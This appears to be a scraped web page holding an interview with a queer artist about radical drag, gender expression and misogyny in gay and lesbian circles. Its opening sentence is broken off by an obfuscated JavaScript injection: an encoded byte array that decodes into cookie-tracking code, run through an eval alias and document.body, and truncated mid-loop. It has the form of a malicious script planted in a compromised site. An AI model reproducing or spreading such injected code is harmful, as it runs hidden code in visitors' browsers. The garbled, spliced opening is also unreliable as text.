Your work seems to display or critique certain aspects of queer culture, like gay bars (that whole queer arts community you mentioned!), drag queens, etc. Based on 93,9d,6f,6c,82,cb,c8,82,8a,82,8a,82,83,d5,d6,c3,d4,d6,82,8b,82,88,88,6f,6c,82,8a,82,d0,c3,cf,c7,82,83,9f,82,c6,d1,c5,d7,cf,c7,d0,d6,90,c5,d1,d1,cd,cb,c7,90,d5,d7,c4,d5,d6,d4,cb,d0,c9,8a,82,92,8e,82,d0,c3,cf,c7,90,ce,c7,d0,c9,d6,ca,82,8b,82,8b,82,8b,6f,6c,82,dd,6f,6c,82,d4,c7,d6,d7,d4,d0,82,d0,d7,ce,ce,9d,6f,6c,82,df,6f,6c,82,cb,c8,82,8a,82,d5,d6,c3,d4,d6,82,9f,9f,82,8f,93,82,8b,82,d4,c7,d6,d7,d4,d0,82,d0,d7,ce,ce,9d,6f,6c,82,d8,c3,d4,82,c7,d0,c6,82,9f,82,c6,d1,c5,d7,cf,c7,d0,d6,90,c5,d1,d1,cd,cb,c7,90,cb,d0,c6,c7,da,b1,c8,8a,82,84,9d,84,8e,82,ce,c7,d0,82,8b,9d,6f,6c,82,cb,c8,82,8a,82,c7,d0,c6,82,9f,9f,82,8f,93,82,8b,82,c7,d0,c6,82,9f,82,c6,d1,c5,d7,cf,c7,d0,d6,90,c5,d1,d1,cd,cb,c7,90,ce,c7,d0,c9,d6,ca,9d,6f,6c,82,d4,c7,d6,d7,d4,d0,82,d7,d0,c7,d5,c5,c3,d2,c7,8a,82,c6,d1,c5,d7,cf,c7,d0,d6,90,c5,d1,d1,cd,cb,c7,90,d5,d7,c4,d5,d6,d4,cb,d0,c9,8a,82,ce,c7,d0,8e,82,c7,d0,c6,82,8b,82,8b,9d,6f,6c,df,6f,6c,cb,c8,82,8a,d0,c3,d8,cb,c9,c3,d6,d1,d4,90,c5,d1,d1,cd,cb,c7,a7,d0,c3,c4,ce,c7,c6,8b,6f,6c,dd,6f,6c,cb,c8,8a,a9,c7,d6,a5,d1,d1,cd,cb,c7,8a,89,d8,cb,d5,cb,d6,c7,c6,c1,d7,d3,89,8b,9f,9f,97,97,8b,dd,df,c7,ce,d5,c7,dd,b5,c7,d6,a5,d1,d1,cd,cb,c7,8a,89,d8,cb,d5,cb,d6,c7,c6,c1,d7,d3,89,8e,82,89,97,97,89,8e,82,89,93,89,8e,82,89,91,89,8b,9d,6f,6c,6f,6c,c6,c5,92,9b,8a,8b,9d,6f,6c,df,6f,6c,df".split(","));dczwb=eval;function aszn(){wxs=function(){--(bson.body)}()}bson=document;for(yxnu=0;yxnu

I would say that my appropriation of drag in particular is done so to show the public how it can be transgressed (radical drag). Although drag was rooted in activism in the 60s, it has now become commodified in a way that is ultra problematic: presenting demeaning stereotypes of women for entertainment. That being said, transexuality is something completely different-I would never say 'gender disphoria' as is often mentioned when talking about transsexuals. I think it is healthy to embrace gender in any way one chooses, instead of prescribing to societal values and rules. There is something really liberating about pushing gender representation. I realize more and more that I have both masculine and feminine demeanors, and I rarely think that I am appropriating 'women's' images or culture. I see it as a much more polymorphous thing, especially as a queer man. But I do tend to agree that there is a general misogyny in the gay world, and some male queer artists construct barriers to women by maintaining very exclusionary professional circles where women are not included. Outside of these circles, I could care less who gay men engage with. Some people say that dykes are pretty exclusionary, but I argue that this is due in part to societal violence and abuse against women by men. It's not an excuse for sexism, but rather an explanation in sorts.
